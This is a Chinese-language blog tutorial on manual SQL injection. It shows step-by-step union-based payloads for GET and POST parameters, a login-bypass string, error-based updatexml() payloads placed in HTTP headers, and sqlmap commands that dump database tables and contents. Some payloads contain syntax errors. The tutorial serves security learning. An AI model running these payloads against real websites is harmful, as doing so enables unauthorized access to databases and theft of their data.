网络安全从入门到精通(第四章-2)GET&POST&HEAD注入

本文内容:

  • GET注入
  • POST注入
  • Head注入
  • sqlmap工具注入

get&post为显错注入:

head为报错注入:

1,GET注入:

  get注入属于显错注入。

    1.判断注入点:

      最古老的的方法是:

        http://www.xxx.com/new.php?id=1 and 1=1 页面显示正常。

        http://www.xxx.com/new.php?id=1 and 1=2 页面显示错误。

      最简单的判断方法是:

        http://www.xxx.com/new.php?id=1 and 1=1 页面显示正常。

        http://www.xxx.com/new.php?id=1 and 1=1' 页面显示错误。

      使用以上两个方法可能会被ban,然后我们还可以进行其他判断方法,比如:        

        http://www.xxx.com/new.php?id=1 页面显示id=1的新闻

        http://www.xxx.com/new.php?id=2-1页面显示id=1的新闻

      或者直接or sleep(5)

    我们在判断出某地方存在sql注入后,就要建立模型,想想这个sql注入的sql语句会是什么样的。

    我们从一个表里获取其他表里的数据,应该怎么做?

    联合查询

    但是使用联合查询,是需要条件的。我们应该怎么做呢?

    具体看以下流程:

    2.GET注入基本流程:

      msql注入:

      1.判断是否存在sql注入

        and 1=1

        and 1=2

      2.判断当前页面字段数:

        id=1 order by 1,2,3……

      3.判断回显点:加入回显点是3

        http://www.xxx.com/new.php?id=1 union select 1,2,3……

      4.查询当前数据库:

        http://www.xxx.com/new.php?id=1 union select database()

      5.查询当前表名:

        http://www.xxx.com/new.php?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

      6.查询当前字段名:

        http://www.xxx.com/new.php?id=1 union select1,2,group_concat(column_name) from information_schema.columns where table_name="查询得出的表名"

      7.查询字段内容:

        http://www.xxx.com/new.php?id=1 union select1,2,group_concat(查询得出的字段名) from 查询得出的表名

    解释:

      1.因为联合查询需要相同的字段数,所以一开始我就先进行了字段数的判断,使用的是order by。

      2.因为GET注入属于显错注入,所以我们要判断它的回显点,这样方便看查询的内容。

      3.select database(),是msql查询当前数据库的sql语句,学过mysql的应该没有什么问题。

      4.然后就是查询表、和查询字段了,是因为mysql在5.0以上版本中加入了information_schema这个系统自带库,其中保存着关于mysql服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。

      information_schema.tables实际上是选中information_schema库中的tables表

      information_schema.columns存放字段名和表名的对应。

      5.网站有些时候如果数据库查询出多行数据,它只有输出第一行,所以我们group_concat(),将查询到的数据,一行显示。

以上就是GET注入,这里只是手工注入,文章最后会一起讲一下使用工具注入。

2,POST注入:

  1.注入攻击的本质,是把用户输入的数据当做代码执行。

  关键条件:

    用户能够控制输入

    原本程序要执行的代码,拼接了用户输入的数据。

  POST:注入属于显错注入的一种。

  POST注入就是使用POST进行传参注入,本质上和GET类型没有什么区别。

  POST注入高危点:

    登录框、查询框等各种和数据库有交互的框。

  最经典的POST注入判断,莫过于万能密码' or 1=1 #

  在可以看到代码的情况,就可以它的sql语句是否进行敏感处理。

  2.POST注入的基本流程:

    mysql注入:

      1.判断是否存在SQL注入:

        ' or 1=1#     

      2.判断当前页面字段数:

        ' or order by 1,2,3……#

      3.判断回显点:加入回显点是3

        ' or union select 1,2,3……#

      4.查询当前数据库:

        ' or union select database() #

      5.查询当前表名:

        ' or union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

      6.查询当前字段名:

        ' or union select1,2,group_concat(column_name) from information_schema.columns where table_name="查询得出的表名" #

      7.查询字段内容:

        ' or union select1,2,group_concat(查询得出的字段名) from 查询得出的表名 #

    解释:

      1.基本流程与GET注入一样,就是判断是否存在注入的方式有所不同。

      2.进行判断是否存在sql注入,字符串闭合时,一定要注意代码中前字符串是单引号还是双引号。

以上就是POST注入,这里只是手工注入,文章最后会一起讲一下使用工具注入。    

3,HEAD注入介绍

  PHP全局变量-超全局变量:

    PHP中许多预定义变量“超全局的”,这意味着它们在一个脚本中的都可调用。

    $_REQUSET[获取GET|POST|COOKIE 在新版本中已经无法获取了]

    $_POST[获取POST传参]

    $_GET[获取GET传参]

    $_SERVER[包含了注入头信息(header)、路径(path)、以及脚本位置(script locations)等等信息]

    $_SERVER功能非常强大。

  常用:

  $_SERVER['HTTP_REFERER'] 获取Referer请求头数据。

  $_SERVER['HTTP_USER_AGENT']获取用户相关信息,包括用户浏览器、操作系统等信息。

  $_SERVER['REMOTE_ADDR']浏览网页的用户IP。

  HEAD注入是将采集到的信息放入数据库中,相当于插入语句,[插入语句是没有回显的]。

  没有回显,就不能通过联合查询了,因为没有输出,这种情况:1使用报错注入2.盲注。

  这里我们就要介绍一个新函数了:updatexml()

  语法:updatexml(目标xml内容,xml文档,更新的内容)

    举例:updatexml(1,concat(0x7e,(select database()),0x7e),1),)#

    0x7e是一个特殊符号,然后不符合路径规则报错]。

    0x:代表十六进制

    7e:代表~符号

  1.HEAD注入基本流程:一般情况下是在登录成功之后,如果不知道账号和密码,可以使用burpsuite爆破一下。

   head注入就需要使用到我们的抓包工具:BurpSuite了

   head注入需要看是用什么方式获取信息比如:HTTP_REFERER、USER_AGENT、REMOTE_ADDR

   以HTTP_REFERER、USER_AGENT、X_FORWAREDE_FOR为例:

   假如:HEAD注入,sql插入语句为两个参数。

    mysql注入:

      1.抓包。

      2.判断是否存在sql注入:

        在抓包数据内添加代码,  ' updatexml(1,concat(0x7e(select database()),0x7e),1)1,)#

        如果是user_agent就在user_agent处添加,

        如果是referer就在referer处添加,只是添加位置不同而已。

        如果是x_forwarede_for,就在数据包内添加x_forwarede_for,在将代码添加上

      3.查询表:

        updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())0x7e),1),1)#

      4.查询字段:

        updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="查询得出表")0x7e),1),1)#

      5.查询内容:

        updatexml(1,concat(0x7e,(select group_concat(查询得出字段名)from 查询得出表名)0x7e),1),1)#3

    补充:x_forwarede_for是用来识别通过HTTP代码或负载均衡方式连接到web服务器的客户端最原始的IP地址的HTTP。

         upadatexml()是往数据插入两个~,一个在开始,一个在结尾,可以通过这种方式查看,是否对输出长度做了设置。

4,使用sqlmap注入基本流程:

    方式一:

      1.查看是否存在注入,是什么类型的注入

        sqlmap -u url --form 

      2.爆库:

        sqlmap -u url --form --dbs 

      3.爆表:

        sqlmap -u url --form --tables -D 库名 

      4.爆字段:

        sqlmap -u url --form --columns -T 表名 -D 库名 

      5.爆内容:

      sqlmap -u url --form --dump -C 字段名 -T 表名 -D 库名 

    方式二:可以使用burpsuite抓包,存到txt文档中

        假设burpsuite抓包存的txt文档名字是1.txt

        使用抓了数据包,测试注入点,需要加*,精准打击。

      1.查看是否存在注入,是什么类型的注入

        sqlmap -r /root/桌面/1.txt

      2.爆库:

        sqlmap -r /root/桌面/1.txt --dbs

      3.爆表:

        sqlmap -r /root/桌面/1.txt --tables -D 库名 

      4.爆字段:

        sqlmap -r /root/桌面/1.txt --columns -T 表名 -D 库名 

      5.爆内容:

        sqlmap -r /root/桌面/1.txt  --dump -C 字段名 -T 表名 -D 库名 

 
与君共勉:
  现在不玩命,
  将来命玩你。
  比你差的人还没放弃,
  比你强的人仍在努力,
  你有什么资格说“我无能为力”?
  混就混出个名堂,
  学就学出个模样。
  翻脸不如翻身,
  生气不如争气。
  也别假装很努力,
  毕竟结果不会陪你演戏。 
posted @ 2020-03-28 23:58  TheHIde  阅读(521)  评论(0编辑  收藏  举报